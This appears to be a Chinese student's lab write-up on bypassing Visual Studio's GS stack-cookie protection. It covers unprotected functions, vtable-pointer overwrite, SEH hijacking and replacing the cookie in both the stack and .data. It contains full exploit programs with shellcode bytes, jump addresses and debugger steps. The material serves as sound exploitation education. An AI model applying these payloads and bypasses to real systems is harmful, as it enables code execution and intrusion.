首页 > 技术文章 > 20155306 白皎 0day漏洞——漏洞利用原理之GS

0831j 2018-06-25 20:58 原文

20155306 白皎 0day漏洞——漏洞利用原理之GS

一、GS安全编译选项的保护原理

1.1 GS的提出

在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区,Windows在VS 7.0(Visual Studio 2003)及以后版本的Visual Studio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征),来增加栈溢出的难度。

1.2 GS的工作原理

GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。

  • 在所有函数调用发生时,向栈帧内压入一个额外的随机DWORD,随机数被称为Security Cookie
  • Security Cookie位于EBP之前,系统将在.data的内存区域中存放一个Security Cookie的副本,如下图所示:

  • 当栈中发生溢出时,Security Cookie会首先被淹没,之后才是EBP和返回地址。

  • 在函数返回之前,系统将执行一个额外的安全验证操作,被称作Security check

  • 在Security check过程中,系统将比较栈帧中原先存放的SC和存放在.data之中的SC值进行比较,如果两者不吻合说明栈帧中的SC已经被破坏,即栈中发生溢出。

  • 当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行。如图:

但是,GS保护机制的使用带来的后果就是系统性能的下降,所以编译器并不是对所有的函数都应用GS,以下情况不会应用GS:

1. 函数不包含缓冲区
2. 函数被定义为具有变量参数列表
3. 函数使用无保护的关键字标记
4. 函数在第一个语句中包含内嵌汇编代码
5. 缓冲区不是8字节类型且大小不大于4字节

1.3 Security Cookie的生成

  • 系统以.data节第一个双字作为Cookie的种子,或者原始Cookie(所欲函数的Cookie都用这个DWORD生成)

  • 在程序每次运行时Cookie的种子都不用,因此种子具有很强的随机性;

  • 在栈帧初始化以后系统用EBP异或种子,作为当前函数的Cookie,以此作为不同函数之间的区别,并增加Cookie的随机性;

  • 在函数返回时前,用EBP还原出(异或)Cookie的种子。

当然,GS编译选项不可能一劳永逸彻底遏制所有类型的缓冲区溢出攻击,本节我们学习四种突破方法

1.利用未被保护的内存突破GS 
2. 覆盖虚函数突破GS 
3.攻击异常处理突破GS 
4.同时替换栈中和.data中的Cookie突破GS 

二、利用未被保护的内存突破GS

原理:在前面我们我们介绍GS原理时提到,为了将GS对性能的影响降到最低,并不是所有函数都会被保护,所以我们可以利用一些未被保护的函数绕过GS的保护。
实验代码如下:

// gs1.cpp : 定义控制台应用程序的入口点。
//

#include"stdafx.h"
#include"string.h"
int vulfuction(char * str)
{
	char arry[4];
	strcpy(arry,str);
	return 1;
}
int _tmain(int argc,_TCHAR* argv[])
{
	char* str="yeah,the fuction is without GS";
	vulfuction(str);
	return 0;
}

我们在vs2008下对其进行编译后,用IDA对可执行程序反汇编时,可以看到没有任何Security Cookie的验证操作。

直接运行程序,程序会弹出异常对话框,可以看到提示说明了进行strcpy时发生了溢出,是不安全的。

三、覆盖虚函数突破GS

3.1 原理

GS机制中说明,程序只有在函数返回时,才会去检查Security Cookie,而在这之前是没有任何的检查措施。换句话说,只要我们在检查SC之前劫持程序流程,就可以实现对程序的溢出,而C++虚函数就可以起到这样的功能。

3.2实验思路及步骤

  • 实验代码如下:

      #include "stdafx.h"
      #include "string.h"
      class GSVirtual {
      public :
      void gsv(char * src)
      {
      	char buf[200];
      	printf("begin!");
      	strcpy(buf, src);
      	printf("done!");
      	bar(); // virtual function call
      }
      virtual void  bar()
      {
      }
      };
      int main()
      {
    
      GSVirtual test;
      test.gsv(
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\0"
      );
      return 0;
      }
    
  • 实验思路

  • gsv中存在着典型的缓冲区溢出的漏洞函数strcpy。
  • gsv中存在一个虚函数bar()。
  • 当gsv函数中的buf变量发生溢出的时候就可能覆盖到虚表指针,倘若如果能够控制虚表指针使其指向我们可以控制的内存空间,那么就就可以运行缓冲区中相应的shellcode了。
  • 实验步骤:

1.如代码所示,在test.gsv传入199个"\x90"+1个"\0",通过前面的分析,我们知道传入参数的长度大于200时,变量buff就会溢出。为了能够精准的覆盖虚函数,我们需要搞清楚内存布局。gsv相当于一个shellcode,变量buff容量是200个字节。当gsv超过200字节时,便会发生溢出覆盖。这个函数的内存布局依次是:cookie,EBP,返回地址,参数,虚函数表地址,总共5项。所以要想覆盖虚函数表地址来达到目的,必须gsv要再多(5*4字节=20字节),最后的字节才能准确覆盖到虚函数表地址。这同时也验证了为什么我们后来构造shellcode的时候要把跳板指令放在shellcode的最后四个字节。

2.编译生成exe文件,用ollydbg打开生成的文件,在strcpy函数处设置一个断点。

3.按 调试——运行,运行到断点处,可以明确得到buf区的起始地址:

4.继续单步执行,到调用虚函数停止,即call dword ptr eax这句,发现虚表地址为0x004010C0如下图:

5.由此我们可以知道,当strcpy函数执行完之后,就是运行虚函数。根据我们一开始的思路,我们需要做的是把虚表指针指向我们的shellcode来劫持进程,那么程序就会执行我们预设的shellcode了。

  • 首先我们可以肯定的是我们没有办法使用最简单的办法jmp esp来直接跳转到buf区的起始地址0x0012FEA8,因为在执行完strcpy函数后的栈并不包含该数值
  • 既然当时的栈之中没有该数值,那么我们就要找其它栈存放该地址。在右下角的表中,我们可以发现在0x0012FE9C处存放着0x0012FEA8,如下图。那么我们只需要将当前esp指针移至0x0012FE9C即可。

在寄存器状态列表中获取当前的esp的值,为0x0012FEA4。要令其移至0x0012FE9C,那么就需要esp+8,所以只要在当前状态下执行三次pop语句后,执行retn语句将程序强制返回栈顶(0x0012FE9C)所含值(0x0012FEA8)地址处,那么接下来就可以执行预设的shellcode了。

通过查询反汇编代码,发现在内存地址为0x7C992B04处就有符合要求的语句,如下图。

  • 接下里只需要将该地址作为参数放在shellcode之前,加入到test.gsv参数中,令程序认为该地址为机器语言(相当于跳板的功能),执行三次pop和retn的命令,就能够达到绕过GS保护机制,执行shellcode了,shellcode代码如下:

      			"\x66\x2b\x99\x7C"  
      			"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
      			"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
      			"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
      			"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
      			"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
      			"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
      			"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
      			"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
      			"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
      			"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
      			"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
      			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      			"\x90\x90\x90\x90\x90\x90\x90\x90"
    

有三部分组成:跳板地址(pop+retn共4字节)+谈对话框的机器码(168字节)+0x90字节填充(49字节)=221字节,刚好超过之前分析出来的至少220字节。
替换shellcode,重新运行就可以啦!

四、攻击异常处理突破GS

4.1实验原理

因为GS机制没有对S.E.H提供保护**,所以我们可以通过超长的字符串覆盖掉异常处理函数指针,然后出触发一个异常,程序就会转入异常处理,由于异常处理函数指针已经被覆盖,那么我们就可以通过劫持S.E.H来控制程序的后续流程了。

4.2实验思路及步骤

  • 实验代码如下:

      #include <stdafx.h>
      #include <string.h>
      char shellcode[]=
      "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
      "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
      "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
      "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
      "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
      "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
      "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
      "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
      "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
      "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
      "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90"
      "\xA0\xFE\x12\x00"//address of shellcode
      ;
    
    
      void test(char * input)
      {
      	
      	char buf[200];
      	strcpy(buf,input);
          strcat(buf,input);
      }
      
      void main()
      {
      	test(shellcode);	
      }
    
  • 实验思路:

  • 函数test中存在典型的栈溢出漏洞
  • 在strcoy操作后变量buf会溢出,S.E.H异常处理句柄会被过长的字符串所覆盖
  • 由于strcpy的溢出,覆盖了input的地址,导致了strcat从一个非法地址读取数据,这时就会触发异常,程序进入异常处理,这样就可以在程序检查SC之前将程序流程劫持。

实验环境为系统windows 2000,由于无法安装增强工具以及软件所以只说明原理。

五、同时替换栈中和.data中的Cookie突破GS

5.1实验原理

根据GS保护机制的原理,最终在Security check过程中比对的是栈中Cookie值和.data中的Cookie值,那么想要绕过Security check有两种方法:

  • 猜测Cookie值。
  • 同时替换栈中和.data中的Cookie,保证溢出后的Cookie值的一致性。
  • 由于cookie的生成随机性太高,可能性极低,因此我们选择同时替换栈中和.data中的Cookie。

5.2实验思路及步骤

  • 实验代码:

      #include <stdafx.h>
      #include <string.h>
      #include <stdlib.h>
      char shellcode[]=
      "\x90\x90\x90\x90"//new value of cookie in .data
      "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
      "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
      "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
      "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
      "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
      "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
      "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
      "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
      "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
      "\x53\x68\x35\x32\x31\x32\x68\x32\x30\x31\x33\x8B\xC4\x53\x50\x50"
      "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
      "\x90\x90\x90\x90"
      "\x94\xFE\x12\x00"//address of shellcode
      ;
      void test(char * str, int i, char * src)
      {
      	char dest[200];
      	if(i<0x9995)
      	{
      		char * buf=str+i;
      		*buf=*src;
      		*(buf+1)=*(src+1);
      		*(buf+2)=*(src+2);
      		*(buf+3)=*(src+3);
      	    strcpy(dest,src);
      	}
      }
      void main()
      {
      	char * str=(char *)malloc(0x10000);
      	test(str,0xFFFF2FB8,shellcode);	
      }
    
  • 实验思路:

  • main函数中在堆中申请了0x1000个字节的空间,并通过test函数对其空间的内容进行操作。
  • test函数对s+i到s+i+3的内存进行赋值,虽然函数对i进行了上限判断,但是没有判断i是否大于0,当i为负值时,s+i所指向的空间就会脱离main中申请的空间,进而有可能会指向.data区域,从而修改.data中的SC值。
  • test函数中的strcpy存在典型的溢出漏洞。
  • 实验步骤:(虽然看懂了原理和实验步骤,但是由于我的xp装不上VS2008,没有GS机制,在编译代码时不会生成security cookie。在考完最近一门课之后,打算再做尝试。)

1.将代码中shellcode替换成8个/x90,避免出现缓冲区溢出,从而进行正常的SC检查,生成可运行程序,并用Ollydbg打开。
2.在if语句处设置断点,从而观察SC生成流程,F9运行至断点处,获取sc和EBP的值。

补充:SC的检验流程

	a. 从EBP-4中提取SC

	b. 从.data区存放副本SC处提取副本SC
	
	c. 比较两者,若一致则校验通过,否则转入校验失败的异常处理

3.明确malloc申请空间的起始地址,可以通过在malloc后设置断点来查看。

4.由于test函数中存放一个参数i,让这个参数传递一个负值来让指针str向存放sc的方向移动,即指向起始地址的指针指向栈中存放SC的地址。

5.计算出上述两地址间的偏移量,将其写入test函数的i参数中。

6.之后运行test函数,shellcode的内容将覆盖掉0x00403000处的内容,即达到修改栈中SC的目的。

7.通过编写shellcode代码修改栈中的SC

第一部分:在shellcode代码前增加4个"\x90"来修改栈中的SC的值。
第二部分:shellcode代码来弹出的对话框
第三部分:用"\x90"填充32个字节至SC所在位置
第四部分:用4个\x90和EBP异或结果覆盖SC的值。

8.将布置好的shellcode代码复制到程序里,编译运行即可出现对话框。

六、补充:关于虚函数的介绍

定义:C++类的成员函数在声明时,若使用关键字virtual进行修饰,则被称为虚函数.
一些要点

  • 一个类中可能有很多个虚函数。

  • 虚函数的入口地址被统一保存在虚表中。

  • 对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行调用。

  • 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量。

  • 虚函数只有通过对象指针的引用才能显示出其动态调用的特性

  • 根据虚函数的特性,可以通过修改对象中的虚表指针,令其指向存放预设shellcode的地址,从而调用虚函数的时候执行shellcode,达到溢出攻击的目的,如下图所示:

写到这里,觉得自己还蛮不容易。这篇博客的内容,我学习实践了很久,但就是做不出来我有什么办法呢。只好去求助宇栋老师哈哈,终于解决了我一个大问题,然后虚函数才得以实践下来。不禁要感叹一下自己知识学的太浅薄,错误的环节总是出现在自己完全没有想到的地方,比如断点设在代码里,用OD调试是没有用的,哎。还是好好学习吧。今天写的内容是关于GS,我们现在一般用的Visual Studio中都会默认启动了一个安全编译选项——GS,就是针对前面第二篇博客中的攻击,通过SC来检测和增加栈溢出的难度,但我们也同有对策,可以构造合适长度的字符串来覆盖虚表指针来跳转到虚函数指针,调用我们构造的shellcode;覆盖覆盖掉异常处理函数指针,以及覆盖栈中的SC来实现我们的目的。

参考文献:
[1]王清.《0day安全:软件漏洞分析技术》[M].中国:电子工业出版社,2008.
[2]王清.《0day安全:软件漏洞分析技术(第2版)》[M].中国:电子工业出版社,2011.

推荐阅读